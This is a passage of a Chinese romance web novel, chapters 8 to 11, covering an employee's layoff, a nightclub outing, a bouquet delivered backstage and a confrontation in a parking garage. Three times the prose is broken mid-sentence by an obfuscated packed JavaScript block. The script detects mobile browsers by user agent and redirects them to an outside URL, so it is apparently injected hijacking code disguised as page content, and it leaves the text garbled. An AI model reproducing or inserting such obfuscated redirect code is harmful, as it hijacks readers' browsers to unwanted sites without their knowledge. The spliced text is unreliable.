坐下后,谢昀例行开电脑,打开公司帐号。正想着开始复盘数据,屏幕右下角弹出人事的消息,让他现在过去一趟。 谢昀皱了皱眉,起身。 没想到刚进人事部,谢昀就迎来了当头一棒。 人事找他面谈,谈的竟然是裁员的事情。人事并没有和他聊太多,只是通知了他这个结果。 小姐姐轻声细语,上来还先关心他最近工作压力大不大,生活条件怎么样,一副以人为本的态度,搞了半天原来只是他们的怀柔政策。 裁员的消息传得很快,不出两小时,所有人都朝谢昀投来了同情的目光。 有人过来好心地拍拍肩安慰他,可在谢昀眼里,他们不过都是在可怜自己、做做表面功夫罢了,谁知道背地里人们又会嚼着什么样的舌根呢。 下午,工作交接结束,谢昀默不作声地收拾自己的物品,一点点清空工位。 他努力不去在意旁人探寻的目光,可他们那假模假式的关心、和实际鄙夷的目光,反而更让人上火。 接连失去恋人和工作,最近的倒霉事统统叠加在一起,谢昀快承受不住这高压。 他一个没忍住,把自己平时喝水的陶瓷马克杯一下摔在地上。 那杯子和梁亦芝家里的是一对。 瓷片炸得四分五裂,旁边的女同事被吓到了,尖叫着躲开。 “神经病吧……!” “自己不干了,别人还得接他的烂摊子呢。谁招惹他了?真无语!” “谢组长,消消气消消气——” …… 谢昀承受不了这里刑场一般的氛围,没了耐心,把桌面上的所有东西一气扫进自己的包里,囫囵塞上,连拉链都顾不得拉好,抬脚走人。 他单肩挎着包,来到电梯厅按下。 电梯门打开,他正准备进入,一眼,看到电梯里的深色人影。 顾寅言站在最内侧,身姿挺拔,气质出群,身边还跟着身着职业装的唐秘书。 见到谢昀,顾寅言那双眼睛朝下一瞥,扫过他的脸,并没有什么表情。 谢昀愣了一瞬。 他此刻心情非常糟糕,本能地排斥任何一位同事和领导。可碍于职级,逼仄的空间又只有他们,谢昀蛮不情愿地点了下头。 电梯从22层开始下行。 背后的气息太过强烈,谢昀按耐不住心底的那股委屈,踌躇一会儿后,忍不住转身,面向顾寅言道: “顾总,我是产品研发部门的谢昀。” “……不知道您对我有没有印象,但我想知道,最近这么突然裁员的原因是什么?” 小唐安静地站在在一边,职业素养让她维持着面上波澜不惊,可她的眼睛也悄悄朝顾总瞄了过去。 顾寅言看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144594|164655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢昀,忖了半秒,像是在思考他是哪个部门的哪个员工,而后才缓缓开口。 他声线平淡:“不用想太多,你做的很好,公司在进行正常的组织架构调整而已。” 听完顾寅言说的,谢昀心里卯足的那一股劲,忽然就像打在了一团棉花上,软绵绵地卸了。 如果是这样……如果真是这样。 真的只能怪自己倒霉了。 谢昀朝面前高大的人影微微低头,说我知道了。 他转过身。 顾寅言垂着眼睫,盯着面前背着包的谢昀。 简单的黑色冲锋衣外套,领口一边立起一边塌下。肩上的背包塞得鼓鼓囊囊,拉链都险些拉不上,布料裹得像马上要吐出来。 似乎是因为刚刚谢昀提及了这个话题,顾寅言想起什么,对一边的唐秘书道: “小唐,除了裁员,公司几个核心部门的岗位空缺,我记得用人需求早就传达下去了,还在推进么?” 唐秘书:“在的,顾总。” “好,催下人事部,顺便提醒他们,记得做好背调。” 顾寅言盯着面前人的后脑勺,继续道:“公司有严格的用人标准和底线。道德作风有问题的人,如果再招进来,就连他们一起走人。” 谢昀脊背倏然僵直,杵在原地。 他忽然感觉浑身发凉、要冒冷汗。 电梯“叮”的一声响,门朝两边缓缓打开。 金属冷白的空间,照进了来自一楼大厅的光线,终于显得不那么窒闷。 顾寅言抬脚,正欲走出电梯。 掠过谢昀身边时,他又顿了下。 顾寅言比谢昀高了几厘米,挡住了头顶煞白的灯光,整个人笼罩着电梯里银色的光影。 他今天没打领带,领口微敞着,衣领处别了一枚胸针,设计成了日晷的造型,精巧而低调。 中心缀着一颗颜色深邃的蓝宝石,像是嵌在其中的一只眼。 胸针在照耀下反射到电梯的顶灯,晃了谢韫一眼,他眼底锐疼。 “对了。”顾寅言忽然开口。 他看见谢昀的包里有什么,抬手轻轻抽了出来,东西在谢昀眼前稍纵即逝。 顾寅言说着,一手插着兜,另外二指夹着一张白色的纸片,在他面前晃了下。 顾寅言:“这个,就当送老板的离职礼物吧。” “再见。” 他长腿迈开,大剌剌地掠过谢昀,就这么离开了。 谢昀阴沉着脸,看着他的背影,双拳紧收,指印抠进掌纹里。顾寅言的声音仍在耳边缭绕,平静和缓。 他赶紧把背包甩到身前查看。 ——原来的侧边袋里,被他一直当作护身符的,那张梁亦芝的旧照片,消失了。 9. 高山流水 距离分手已经过去好些天。 梁亦芝一直和何嫚住在一块,每天除了工作、演出,基本闭门不出,闷在家埋头练琴。 梁亦芝自觉恢复得很快。她每天潜心拉琴,该吃饭就吃饭、该生活生活,没受到多少来自分手的影响。 她自我感觉良好。 早晨起来,梁亦芝按部就班在何嫚家客卧里拉琴,何嫚忽然进来打断了她。 她叫嚷着:“我的姑奶奶,你还好吗?” 梁亦芝不解:“我很好啊。” “你确定好?”何嫚皱着眉上下打量,视线扫过梁亦芝的脸和她手里的琴弓,“再这样下去,楼下邻居都得哭着来投诉我扰民了。” “还是很吵吗?”梁亦芝顿生歉意,为了不打扰周边居民,她现在尽量都在白天练琴,也缩短了在家练习的时长, 梁亦芝:“我已经把F孔堵上了,还插了弱音器,看来效果还是一般。” “不是这个问题。”何嫚扬了扬下巴,“你这首曲子拉了几天了?再听下去我都要抑郁了。” 梁亦芝翻了翻面前的谱子:“我怎么感觉还挺好听的……” 这些天以来,她拉的最多的就是这首弗雷的《梦后》。 凄美悲凉的曲调,配合大提琴沉郁的音色,不时从琴弓下流泄出的哀怨情伤,听着确实有几分致郁。 梁亦芝很喜欢这首曲子。 然而在她眼中细腻又深刻的作品,在何嫚的角度却有些欣赏不来。 她听不懂梁亦芝说的那些。何嫚只知道,要是再天天听这破木头拉出的致郁之音,她会抓狂的。 何嫚说:“行了,管他什么肖邦还是莫扎特的,再成天拉你那个破琴,都影响你的磁场了。” “什么意思?” “意思就是:赶紧收拾打扮一下,跟我出门!” 总呆在家里,时间长了也会闷出病来。 梁亦芝是个极听劝的人。 她久违地化了妆,借了何嫚新买的衣服,黑色风衣配长筒皮靴,坐上何嫚的小跑出了门。 到了地点,刚下车,她们就在门口碰到了顾寅言。 顾寅言扫一眼二人,只评价了她们俩四个字:“孔雀开屏。” 便转身进去了。 何嫚在后面,忍着想要发笑的心情,揽着梁亦芝跟上。 这家夜店是整个玉城最有名的一家店,卡座低消五位数。 因为门槛高,氛围虽好,却又不是酒池肉林、纸醉金迷的糜乱景象,大多都是富家子弟在此消遣娱乐,结交朋友。 何嫚搭着梁亦芝肩膀,步子放慢,语重心长道:“亦芝,你知道吗?你之前识人不慧、遇人不淑,那都是因为你见过的人还太少。” 她们在一波波人潮中穿行,何嫚的声音压在她耳边: “你总是容易把他们想的太单纯,可这世界上的人千奇百怪,真正的正常人才是少数。你得放开一点自己的边界,多和新的人认识交流,才能学会怎么分辨他们。” 梁亦芝觉得何嫚的话不无道理。 她这个人有些理想化,被家庭保护的太好,总是天真地认为没人会有那么多坏心眼,对身边的人不会树立太多戒备。 可现实早就狠狠给她上了一课。 “多交朋友不是坏事。但你要记住,”何嫚站定,戴满戒指的双手压在梁亦芝骨感的肩膀上,将她转向某个方向。 “咱们要找的人,标准至少得跟他们对齐。” 梁亦芝顺着她的方向看去。 不远处,灯光昏暗的卡座,顾寅言和蒋徊已经坐在那聊天。 旁边过来个女生想跟他们搭话,短短几句后,应该是被婉拒了,她脚步移开,眼神仍在恋恋不舍地看着沙发里的顾寅言。 顾寅言从头到尾没几句话,坐在那静静喝酒。 梁亦芝有时觉得,顾寅言给人的感觉就像一座隐秘的高山,脱离于人间俗世。哪怕她认识他这么多年,都时常看不透他的想法,也怪不得总有人被他身上那股气质迷得神魂颠倒,妄想攀缘。 何嫚说的没错,梁亦芝想。 她确实该多结交一些人,不要固步自封,得把主动权掌握在自己的手里。 她自身条件又不差,要求也不过分,再怎么样,也得找一个和顾寅言这样旗鼓相当的人吧。 外貌优秀,家教良好,学识丰富。 重要的是,一个像他这样靠谱的人。 何嫚和梁亦芝来到卡座坐下。 蒋徊和梁亦芝有一阵没见了,他刚从外地出差回来,见到梁亦芝,第一句开口关心:“你还好吧?” “挺好的,放心吧。” “这才对嘛!”蒋徊安慰道,“为情所困,最掉价了。你看我谈了这么多恋爱,万花丛中过,向来片叶不沾身!那些都是身外之物……” 何嫚冷呵一声:“也不知道之前是谁,被江医生甩了,装作不在意,却硬说自己得了病,天天往医院跑?” 何嫚提起的是蒋徊的上一任女友。江医生出身医学世家,父母都是高知分子,对江医生的另一半要求自然也极高。 蒋徊如今就在父母的公司里混着,吃住都靠家里,一天到晚没个正形。他谈起恋爱来粘人,江医生工作又忙,觉得他不上进,两人分歧自然就多了,这段恋情最终是走到了岔路口。 江医生一直都是蒋徊心里的一根刺,何嫚这一激,蒋徊气得嘴唇上下打架,说不出话来:“我……我那是真生病了!你有没有良心何嫚!” “我没有,江医生有咯。” 两人又拌起嘴。 顾寅言坐在一旁,不打算参与这场纷争。他看了梁亦芝一会儿,决定趁大家都还清醒的时候先说正事。 顾寅言凑近梁亦芝,言简意赅:“谢昀被辞退了。” 梁亦芝知道,这是情理之中。她立即道:“没事的,你不用顾虑我,你的公司你做主。” “不都是因为你。”顾寅言说。 “公司也不会容忍道德作风有问题的人留在这,后患无穷。这是我们的底线,无论他是不是……你的男朋友。” 梁亦芝明白。 顾寅言不会偏袒她,他从来对事不对人,永远公平而公正。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144595|164655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 过去就过去了,梁亦芝不允许自己在这种事情上做无意义的感情消耗。她截断话头:“好了,不提他了。” 梁亦芝端起杯子,扬声道:“今天我是要来找乐子的!” “对!”何嫚拍两下掌,“来来来!咱们碰一个!先喝两杯,再上场热热身!” 他们举杯对碰,四只玻璃杯磕到一起,撞出脆响,几滴清冽的酒液无序地溅出,像年轻人自由的灵魂。 跟朋友在一起总是愉悦的,加上店里震耳欲聋的音乐声,快乐得能让人把所有事情都暂时抛到脑后。 喝了会儿酒,他们聊了会儿天,何嫚怂恿梁亦芝去舞池中间。 她勾着她:“快点,走了!” 梁亦芝口号喊得响,真落实到行动上,却是犹犹豫豫不想走,仍放不开,屁股仿佛被粘在沙发皮座上: “要不……你先过去,我等下再加入进来……” 何嫚嚷嚷着:“你忘了你那天喝醉酒怎么说的,谁要玩花的??” 梁亦芝一愣怔,看来她那天被顾寅言送走后,还在何嫚那也下了宣言。 真是丢人丢大发了…… “玩啊,我又没说不玩,我是肢体不协调,不想跳……”梁亦芝嘴硬找借口。 她那天是真醉了,想起自己还说过这么一句话,也记得当时顾寅言不咸不淡的那一句“你试试看”。 不知道他还记不记得,最好是忘了…… “她不想去就算了。”见两人僵持不下,顾寅言开口解围。 何嫚跺脚:“你不去我可要去了啊!等下你一个人别不敢进来!” 何嫚起身就要走,见竟然没人拦她,又气呼呼地坐下。 何嫚不满:“怎么我去你们就没人担心了?” 蒋徊愣在那:“你哪次听我们的了,每次拉你都得挨骂。而且……你不是对男的不感兴趣吗?” “我对他们不感兴趣,可是拦不住有人对我感兴趣呀。” 从初中起,在身边的女同学都情窦初开和沉迷流行男偶像的时候,何嫚就发现了自己对男生没什么特殊想法。 排在队列里,集合人群里,她总是更关注女孩子的。 可偏偏她又长得艳丽,手长腿长,一刀齐的平刘海加长直发,姬感十足,又分外惹眼,男女通杀。 何嫚说:“亦芝,不是说了么,咱们要找跟这两位好兄弟差不多的。你都不行动,光等着人家自己上门,那可就没得挑了啊!” “哟——”蒋徊听见这话乐了,摘取重点:“我还是头一次在这收到这么高的评价?” 梁亦芝正色重申:“你们只是最低标准。” 话毕,余光里,她看见身边的顾寅言似乎动了动。 她看向他。 昏暗的视野里,借着周遭灯红酒绿的光线,她看见顾寅言的唇边染上了浅浅的笑意,像高山流水,幽深的画面一点点流动了起来。 “什么意思?”男人轻声开口。 高大的身影凑近,他的声线依旧缓和低平,玩笑一般问: “我们这样的怎么了?” 10. 洛神玫瑰 他身上的男士香水味很淡,可梁亦芝的鼻尖还是嗅到了。 顾寅言的味道和他的人不太一样。 沉稳踏实的木质沉香里,夹杂着一点点清新的果味,像是青皮的柑橘,温暖而涩。 透着不容忽视的存在感,包裹着皮肤,悄然无声地侵袭而至。 梁亦芝往后躲了躲,心虚地正色道:“你们就……还算正常。” 年轻的ceo,身价过亿,富的流油。 如果这样只是“还算正常”的话,那世界上大概只剩下“不正常”的人了。 摇摆过后,梁亦芝最终还是下了决心,站起来说:“算了,走吧!” 她脱了风衣,扔在沙发上,掐着窄细的腰,短裙下一双长腿迈得正气凛然,活脱脱像是要上战场。 后面的蒋徊和顾寅言都没忍住笑了。 进了舞池,梁亦芝一开始被挤在人群中不敢动,可几分钟后,她发现根本没人在意自己,大家都只顾着自嗨。于是也大胆地把手伸过头顶,跟着节奏律动起来。 潮浪般的音乐将人吞没,她逐渐陷入这狂欢之中,忘记了自我。 这一晚,梁亦芝竟然真的意外收到了两位男性的搭讪。谨小慎微的梁亦芝再度想拒绝,然而何嫚拉住了她:“交个朋友,又不会少块肉?” 最终,梁亦芝只加了一个让她比较有眼缘的男生,那个男生的英文名叫Gary,看着像是大学生,笑起来眼睛弯弯的,很容易让人心生好感。 回去后,Gary不时找她聊天,得知梁亦芝是大提琴手后,很兴奋地问她自己能不能去看她的演出。 梁亦芝告诉他,这周末就有一场,有时间的话他可以来。 两个人就这么约定下来。 - 谢昀大概也是力不从心,频繁地利用各种方式和应用软件试图联系梁亦芝,没收到任何回音后,也逐渐销声匿迹。 梁亦芝搬回了自己家。 事情已经告一段落,然而顾寅言还是说,让她如果要出门,都叫司机老张来接送。 梁亦芝觉得顾寅言过分的谨慎了。 不过对方的出发点也是为了她的安全,梁亦芝没有多言,听话地照办。 周日,乐团在城北的音乐厅做演出。梁亦芝还记得自己的承诺,给Gary送了票,请他来看。 Gary定了一大束花,他想给梁亦芝一个惊喜,等到音乐会结束后再送给她。 散场时,Gary找到后台,却被工作人员拦住。 “你去后台演职人员的出口,粉丝们都在那里等着的。” Gary听了只觉得不悦,他又不是粉丝,为什么要在出口那和人潮一起等着?如果在那里送,这束花的意义就有些变味了。 Gary想,早知道就不搞什么惊喜突袭,他提前跟梁亦芝打个招呼了。 Gary据理力争,还想继续说服工作人员。 这时,一旁来了个穿着矜贵得体、身型高瘦的男人。 他也是来听音乐会的,Gary想起在观众席看见过他。 男人走路带风,畅通无阻地迈进后台的金色大门。 Gary在后面震惊问:“为什么他能进去?你们区别对待!我不服!” 工作人员一口咬死:“外人不能随便进出,里面有很多乐器和设备,出了意外谁来负责?” 顾寅言刚进去,就听到入口外传来喧闹的人声。 他眉头一皱,顿了顿,掉转步伐。 隔着一些距离,顾寅言认出来了,原来门口这个鬼哭狼嚎的家伙是那天在夜店和梁亦芝凑在一块的人。 见顾寅言又出来了,工作人员倒吸一口凉气。 承晖集团投资了这家音乐厅,集团的小顾总算是他们半个领导。在领导面前闹出事,岂不是把自己的饭碗往地上砸。 工作人员想尽快息事宁人,也是为了在顾寅言面前表现一番,他拿起对讲机道:“喂——保安吗?这里有人闹事……” 没成想,一旁的顾寅言走了出来,伸手打断,示意他停下,转而问Gary:“你的花要给谁?” Gary警惕地盯着他。 “给谁。”顾寅言面无表情重复一遍,“我帮你带进去。” 一旁的工作人员听了微讶。 顾总向来不多管闲事,怎么今天突然转性了? Gary一听他是要帮自己的忙,连连道谢,奉上自己的花束:“麻烦您了!帮我带给乐团的大提琴手,叫梁亦芝。” 顾寅言接了花,回身就走,Gary不放心似的,上手拽住他,再次叮嘱:“一定要送到她手里哦!就说是Gary送的,代我跟她说一声,今天的演出很精彩!下次我再约她一起吃饭!” 顾寅言皱皱眉。 梁亦芝找的人真是各有各的奇怪。 “行。”他面上稍显不耐,不动声色地避开了Gary的手,捧着花就此离开。 Gary还站在门口目送顾寅言。工作人员在一旁已经容忍了他半天,这会儿顾总走了,他们也不装了,转头就关上门,开始轰人。 梁亦芝人在休息室里,正听着吴悠讲,刚刚在台上,她不小心拉错了一个音。 吴悠惊魂未定:“我真是吓死了!你知道当时Smith正好看着我们这个方向,我不小心开了个小差,手一抖就崩了个音出来,真是要给我人都吓没了。” Smith是乐团的总指挥,为人严格又古板。一双耳朵灵光的要死,不管是场上还是排练时,只要有人出了差错,他会立刻准确的送来自己的眼刀。 梁亦芝笑她胆小,吴悠的席位就在她后排,虽然她当时也听出来了那一个不和谐的音符,可她还是安慰吴悠:“没事啦,大家不会在意的。” 话说到一半,休息室的门口出现了一道引人瞩目的身影,手里捧着一大束鲜花,分外惹眼。 梁亦芝闻声看过去,竟然是顾寅言。 重点是,带着花的顾寅言。 要知道顾寅言看了这么多次演出,从没给她送过花。 那一瞬,梁亦芝心里有阵细微的波澜荡过。 顾寅言在人群中搜寻一圈,找到梁亦芝,朝她走过来。 他弄得这么招摇,梁亦芝难得的承受不住周围的目光,她站起身问:“你怎么来了?不是说老张来接吗?” “来听音乐会。”顾寅言像是回答了一句废话,“你的老张也在外面等着。” ……什么她的老张? 明明是他自己把人借给她用的。 梁亦芝有点无语,又瞧见他手上那束粉红色的玫瑰,没有回怼。 那一捧洛神玫瑰开得正盛,个头不小,中心浓重的粉色一圈圈晕开,由粉及白,波浪形的花瓣向外蓬勃绽开。 她意外他怎么会挑一束这样柔情又热烈的花,一点也不符合他们俩的关系。 甚至……怪肉麻的。 梁亦芝的脸颊似乎也被这花瓣的颜色染上了,有些不知道如何开口。 “——‘你的演出很精彩。’” 梁亦芝茫然抬头,看向面前的男人。 在她胡思乱想之时,顾寅言把花塞给她: “来自被拦在后台外面的夜店男。” …… 听见这个外号,梁亦芝一愣,想了好一阵,才反应过来,夜店男指的会是谁。 所以,这束花,是Gary给她的? 桃粉色的花瓣上,透露出的古怪别扭感霎时消失了。梁亦芝这才接过,忸怩道:“……你怎么不早说?” “你以为是我送的?” “不是你送的最好。” 这话听起来像在赌气,可这是梁亦芝的真实想法。知道那束花不是顾寅言送的之后,她心里莫名轻松了几分。 梁亦芝给吴悠介绍:“这是我朋友,顾寅言。” 顾寅言微微颔首:“你好。” 吴悠在顾寅言面前,面对着那张堪比男明星的脸,她有点害羞,甚至不敢抬头回视,只是同样低声应了句:“你好……” 没多聊几句,休息室太小,人多又嘈杂,顾寅言对梁亦芝道:“我去门口等你。” 梁亦芝知道他不喜欢太吵的地方,推推他:“去吧,别把大少爷吵到了。我马上就出来。” 等人走了,吴悠拉着她,悄声问:“什么鬼亦芝!这真是你朋友?” 梁亦芝点头:“十年的兄弟。如假包换的。” “你兄弟这么好的货色!你怎么不早说!”吴悠还望着顾寅言离开的方向,“他有女朋友吗?” “恭喜你,没有哦。”梁亦芝笑着拿肘弯拱拱她,调侃道,“看上了?” “哪有……你真当我那么饥渴啊?”吴悠回道,“就是觉得挺好看的。这样的男人竟然没有女朋友?他不会要流落到相亲市场上了吧。” 梁亦芝了解顾寅言。他虽然经常混迹于社交应酬,但其实私底下跟别人的私交并不多。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144596|164655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他交往一向淡薄,连朋友都只限于他们几个现在的圈子,就更别提发展新对象了。 照顾寅言的家族来看,日后给他介绍联姻也不是没可能,所以他的情感生活根本用不着他们关心。 梁亦芝的家境虽然也足够优渥,可比起顾寅言那样的,还是小巫见大巫了。 她没给吴悠多透露,怕把人吓死。刚好有人过来喊吴悠,说Smith找她过去一趟。 吴悠吓得掐人中:“老天保佑!一会儿回来躺在琴盒里的就不是琴了,而是我。” 梁亦芝拍拍她:“说点吉利的话吧。” 吴悠有气无力地离开。梁亦芝擦好琴,找到自己的置物柜,收拾东西,换下礼服。 考虑到顾寅言还在外面等她,梁亦芝在手机上给吴悠留了条消息,先行离开。 顾寅言在走廊另一端,看见梁亦芝走出来,捧着花朝他小跑过来。 她背着琴,又抱着花,步子不敢跑的幅度太大,有点像背负着重物前行的一只企鹅。 梁亦芝在他面前停下,把气喘匀:“好了,我们走吧。” 顾寅言伸手,从她背后接过琴盒,替她背上往外走。 顾寅言背着琴走在前,梁亦芝抱着花跟在后。穿过一条条长廊和大厅,来到剧院外。 夜色已深,门口的路灯昏暗,沿街树枝茂密,遮去了一大半的光线。 剧院的停车位少,顾寅言来时,地库的车位已经停满了,只能交费把车停在了外面。 刚出剧院的大门,顾寅言眼一瞥,看到门口的树丛中忽闪过一个身影。 他置若罔闻,移开目光,脚下朝身边的人贴近了两步。 梁亦芝觉察到,以为顾寅言有话要跟自己说,她抬脸问:“怎么了?” 顾寅言微微低头,在她耳边说:“有件事,在想要不要告诉你。” 梁亦芝闻到他领口飘来丝丝香气,又是那款淡香。 她疑惑问:“什么?” 顾寅言头更低一些,气息吹在她耳廓,轻柔发痒。他说: “你里面那件衣服,好像穿反了。” “什么?” 梁亦芝一下羞红了脸。 她今天里面穿的是一件浅色的吊带衫,外搭了件厚实的小西装。 梁亦芝懊恼,估计是刚刚换衣服太急,套头就穿上了,她没太注意。 梁亦芝垂着头,揪起衣服细细检查。 正面没反啊,难道是里外穿反了? 梁亦芝下巴快贴到锁骨上,外面光线不好,她手里还捧着那么大一束花,又不好操作。 顾寅言善心大发道:“花给我。我帮你挡着,你仔细看看。” 梁亦芝停下脚步,把花递给他。 顾寅言接过,转身面朝她,稍稍打开了自己肩膀。他两肩本就宽阔,再加上那一束花的掩护,足以遮住梁亦芝整个人。 梁亦芝贴近他胸口,抬头先叮嘱一句:“不许看。” 顾寅言听话地闭上眼。 梁亦芝小心翼翼地敞开顾寅言的外套,借着布料罩住自己,低头检查。 这情景从远处看,就像是一男一女约会结束,女生收到了男生送的花,两人恩爱地相拥在一起。 夜晚给他们染上了暧昧的绯色,看起来浪漫又旖旎。 一分钟后,梁亦芝左右看不出到底哪穿错了,退后说:“顾寅言,明明就没问题。你什么眼神?” “大概是我看错了。” 顾寅言居高临下地俯视她,目光似在检查。忽然,他蓦地伏低了身体,弯下腰,凑近梁亦芝的脸。 秋夜微凉,距离拉近,梁亦芝感觉到属于他身体的温热气息扑了过来。 然后,热气掠过了她的面颊,来到她耳畔。 梁亦芝刚想躲开,身后啪嗒一声,是车门解锁的声音。 顾寅言伸手拉开车门,门沿轻轻撞上了她的后腰。 他重新站直,把那捧花塞给她。 顾寅言手下毫不留情,动作太大,花束震了震,抖下零星几片可怜的花瓣。 顾寅言开口说:“上车。” 梁亦芝讶异地转身,质问他:“车就停在这?那你怎么不让我上车弄?” “我以为你会很急。” 顾寅言没看她,自顾自开了后座车门,把琴盒稳稳当当地放上去,绕了一圈,回到另一侧上了车。 梁亦芝在原地无言。 她真是越来越看不懂他了。 11. 真败类 梁亦芝坐在副驾上,怀里抱着花,手指拨弄着湿润的花瓣,上面还残留着几滴未干的露水。 顾寅言在一旁,专心开车。 梁亦芝问:“话说,你在外面见到Gary了?他看起来怎么样?” 说实话,才过去不到一小时,顾寅言已经忘记后台入口处那个人的样貌了,但他还记得他的声音。 吵闹、聒噪、喋喋不休。 顾寅言回忆了一下,只说:“很吵。” 梁亦芝听了他简短的评价,不以为然,反而高兴道:“那说不定和我很合得来呢。” 顾寅言打方向盘,揶揄她一句:“好了伤疤忘了疼是么?” “我只是说交朋友啊。”梁亦芝回怼他,“我喜欢话多的人,多有意思的啊。不过你肯定不懂啦。” 梁亦芝拨着花瓣,又觉得自己的话其实有失偏颇。 顾寅言虽然不是一个很好的聊天对象,但他却是一个足够好的倾听者。表面上瞧着他对你说的每一句话都不关心,其实提过的每一件事,他都放在心上。 比如梁亦芝随手提起的很好吃的蛋糕,比如她找了好几个月都没能买到的黑胶唱片。 比如只是寥寥数语,他就能隔着通话,发现她在哭。 梁亦芝发觉自己这么说似乎有点不够意思,刚想把话圆回来,顾寅言没给她这个机会。 他语调平平地问:“朋友有很多标准,为人处事、兴趣爱好、价值观……难道你只有话多这一个标准?你是在找陪聊?” 就前两天,何嫚对梁亦芝说的那番话,顾寅言其实并不赞同。 交朋友和改变磁场有什么必然联系么?阅人无数后,难道就能通过他的行为举止,看清一个人的本质? 毕竟没人会把自己内心的真实想法写在脸上。 像何嫚说的这种,大概类似于题海战术。 顾寅言不愿意浪费时间进行无意义的社交练习,他更擅长观察。 用有限的时间,对有一个人从头到脚,全方位的审察。 梁亦芝很意外,她只是随口一提罢了,顾寅言居然会就这个问题跟她说这么多。 梁亦芝问:“你是不是怕我又被骗?” “……不是。” “那你就是怕我有了男朋友,又会忽略你们几个?” “……你想多了。” 梁亦芝看见他无语的神情,忍不住发笑。 “放心,我有分寸的。”她垂眸,看了眼手里的花,“我对Gary现在也只是在了解的阶段,他这个人还挺适合当朋友的,不过……我们俩之间暂时没什么异性的感觉。” 梁亦芝说:“而且,我始终相信,真诚的人总会有回报的。老天爷总不能那么瞎吧,你说对吗?” 顾寅言没有说话,目视前方驾车,半晌,才简短地“嗯”了声。 汽车一路驶到小区门口,梁亦芝让顾寅言在门口把自己放下,顾寅言没听,径直开进去。 他把车停到楼下,梁亦芝开门下车,想起什么,回头对他说:“对了。马上放假了,到时候我们一起回家吧。” 顾寅言应声:“好。” 梁亦芝下了车,不忘到后座背上自己的琴盒。 她重新绕到驾驶座窗边:“今天谢咯,你快回去吧,已经不早了。” 顾寅言:“你上去吧,我走了。” 梁亦芝点点头,挥手跟他道别,转头开门上楼。顾寅言在车上,看她进了电梯,调转车头离开。 梁亦芝回到家,在自己家里选了个精致的角落,那里摆满了玩偶,墙壁上贴了很多可爱的贴画。 她把花束放在那,一连摆拍了好几张,挑出一张给Gary发过去: 【谢谢你的花!我收到了,特别漂亮!】 收到礼物后给予反馈,是她一直以来的习惯。 梁亦芝家里保存了很多朋友送的礼物,久到幼儿园时同学送的一张画、父母给的第一支拓麻歌子,在她家里都好好地留存着。 Gary收到她的消息也非常高兴,字里行间都透着欣喜。 Gary:【你喜欢就好!!!】 Gary:【今天你的演出也很棒!!我第一次听交响乐,太震撼了!如果下次还有机会,请一定再邀请我!】 梁亦芝爽快答应,敲打键盘: 【我们剧团有很多演出,欢迎你随时来,我会给你留票的。】 他们聊得起劲,为表谢意,梁亦芝跟他约定了几天后一起吃晚餐。 - 次日清晨。 早上八点多,顾寅言开车去上班。 车开进写字楼的地库停下,顾寅言拿上钥匙,关了车门,朝电梯走去。 在他身后,一个人影从柱子后窜出来,跟了上去。 地库很安静,不时有车从入口驶下,那人小心翼翼地避开。 就快走到电梯厅时,一辆轿车开过,他忙着隐蔽自己,再一探头,前方早没了顾寅言的踪迹。 他赶忙加快脚步,冲到电梯厅,手指狂揿上行的电梯按钮。 可惜上班期间的高峰电梯有多慢,他早就领略过。 那人无可奈何,恼怒地一掌拍在电梯按钮上泄愤。 这时,旁边传来顾寅言清清淡淡的声音: ——“谢组长,好久不见。” 顾寅言站在他身后,语气寡淡地同他打招呼。 谢昀看见他那张泰然自若的脸就来气,他蕴着怒火,朝顾寅言扑上来就是一拳。 顾寅言避了避,手都没动一下,便躲开了。他紧蹙着眉,不想跟他多废话,拿出手机打给物业人员。 谢昀又扑上去抢他的手机,被顾寅言一把甩开。他瘫坐在地上,顾寅言也没了好脾性,沉着脸骂道:“你发什么疯?” “我发疯?”谢昀冷笑起来,“我还不能发疯了么?现在我知道了,我什么都知道了!你以为你跟梁亦芝还能痛快多久?” 顾寅言面色毫无变化。 谢昀知道自己有过错,但他不曾想过梁亦芝会那么狠心。好歹是交往过一场,他放下一切面子,甚至下跪求她原谅,她怎么能半点余地都不给他? 谢昀想找梁亦芝谈谈。可他的电话已经被拉黑,他在她的住址也没等到她,只能找到乐团。 乐团的排练时间不固定,很难蹲到人,谢昀在网上查了乐团的演出时间,特地到了市中心音乐厅,在门口等着堵人。 他确实等到人了,也确实获得了分量很大的一些信息。 比如,梁亦芝似乎有了新欢,两人你侬我侬,抱着鲜花在大街上拥吻。再比如,借着路灯晦暗不明的光线,他发现,那人竟然就是之前开除自己的老板顾寅言。 那场面给他的冲击力太大。 他们是什么时候搞到一块的? 